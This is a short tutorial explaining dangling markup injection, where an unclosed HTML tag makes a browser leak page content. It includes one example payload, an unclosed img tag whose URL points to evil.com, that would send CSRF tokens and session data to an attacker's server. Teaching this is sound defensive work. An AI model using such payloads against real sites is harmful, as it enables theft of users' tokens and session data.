Dangling Markup Injection
What you'll learn: How attackers exploit unclosed HTML tags to capture sensitive data by tricking the browser into sending page content to a malicious server.
The Core Idea
Dangling Markup Injection is a sneaky XSS-related technique where an attacker injects an incomplete HTML tag that remains "open" on the page. Because the tag isn't properly closed, the browser treats everything that follows as part of that tag's content—until it finds a matching character that completes it. The attacker can use this behavior to capture sensitive data from the page and send it to their own server.
Think of it like putting an opening quotation mark in a sentence but never closing it: everything afterward gets "swallowed" into that quote until the next quotation mark appears.
How It Works
Imagine a page reflects user input inside an HTML attribute without properly encoding it. An attacker might inject:
<img src='https://evil.com/capture?data=
Notice the single quote after data= is never closed. The browser will now include everything that follows in the page—including CSRF tokens, session data, or form fields—as part of this image request until it encounters another single quote. When the browser tries to load the image, all that captured content gets sent to evil.com.
Why It's Dangerous
Unlike traditional XSS that requires executing JavaScript, dangling markup works even when JavaScript is blocked by CSP. It leverages HTML's forgiving parser to exfiltrate data through seemingly innocent tags like <img>, <base>, or <link>.
Key Takeaway:
Dangling Markup Injection exploits unclosed HTML tags to capture and exfiltrate sensitive page content by tricking the browser into including subsequent data in outbound requests—bypassing some XSS defenses.